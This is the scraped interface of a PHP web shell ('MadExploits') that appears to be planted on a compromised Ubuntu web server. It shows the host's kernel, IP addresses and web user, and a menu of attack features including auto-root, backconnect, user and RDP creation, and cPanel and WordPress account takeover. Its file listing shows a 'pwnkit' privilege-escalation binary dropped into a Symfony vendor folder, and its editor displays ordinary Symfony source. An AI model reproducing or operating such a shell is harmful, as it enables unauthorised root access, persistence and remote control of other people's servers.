Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 3.22.70.140
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
boaz /
vendor /
symfony /
dom-crawler /
[ HOME SHELL ]
Name
Size
Permission
Action
Field
[ DIR ]
drwxrwxr-x
Test
[ DIR ]
drwxrwxr-x
.mad-root
0
B
-rw-r--r--
AbstractUriElement.php
3.38
KB
-rw-rw-r--
CHANGELOG.md
3.21
KB
-rw-rw-r--
Crawler.php
37.65
KB
-rw-rw-r--
Form.php
15.39
KB
-rw-rw-r--
FormFieldRegistry.php
4.97
KB
-rw-rw-r--
Image.php
870
B
-rw-rw-r--
LICENSE
1.04
KB
-rw-rw-r--
Link.php
847
B
-rw-rw-r--
README.md
503
B
-rw-rw-r--
UriResolver.php
3.5
KB
-rw-rw-r--
composer.json
1.03
KB
-rw-rw-r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : AbstractUriElement.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\DomCrawler; /** * Any HTML element that can link to an URI. * * @author Fabien Potencier <fabien@symfony.com> */ abstract class AbstractUriElement { /** * @var \DOMElement */ protected $node; /** * @var string|null The method to use for the element */ protected $method; /** * @var string The URI of the page where the element is embedded (or the base href) */ protected $currentUri; /** * @param \DOMElement $node A \DOMElement instance * @param string $currentUri The URI of the page where the link is embedded (or the base href) * @param string|null $method The method to use for the link (GET by default) * * @throws \InvalidArgumentException if the node is not a link */ public function __construct(\DOMElement $node, string $currentUri = null, ?string $method = 'GET') { $this->setNode($node); $this->method = $method ? strtoupper($method) : null; $this->currentUri = $currentUri; $elementUriIsRelative = null === parse_url(trim($this->getRawUri()), \PHP_URL_SCHEME); $baseUriIsAbsolute = \in_array(strtolower(substr($this->currentUri, 0, 4)), ['http', 'file']); if ($elementUriIsRelative && !$baseUriIsAbsolute) { throw new \InvalidArgumentException(sprintf('The URL of the element is relative, so you must define its base URI passing an absolute URL to the constructor of the "%s" class ("%s" was passed).', __CLASS__, $this->currentUri)); } } /** * Gets the node associated with this link. * * @return \DOMElement A \DOMElement instance */ public function getNode() { return $this->node; } /** * Gets the method associated with this link. * * @return string The method */ public function getMethod() { return $this->method ?? 'GET'; } /** * Gets the URI associated with this link. * * @return string The URI */ public function getUri() { return UriResolver::resolve($this->getRawUri(), $this->currentUri); } /** * Returns raw URI data. * * @return string */ abstract protected function getRawUri(); /** * Returns the canonicalized URI path (see RFC 3986, section 5.2.4). * * @param string $path URI path * * @return string */ protected function canonicalizePath(string $path) { if ('' === $path || '/' === $path) { return $path; } if ('.' === substr($path, -1)) { $path .= '/'; } $output = []; foreach (explode('/', $path) as $segment) { if ('..' === $segment) { array_pop($output); } elseif ('.' !== $segment) { $output[] = $segment; } } return implode('/', $output); } /** * Sets current \DOMElement instance. * * @param \DOMElement $node A \DOMElement instance * * @throws \LogicException If given node is not an anchor */ abstract protected function setNode(\DOMElement $node); }
Close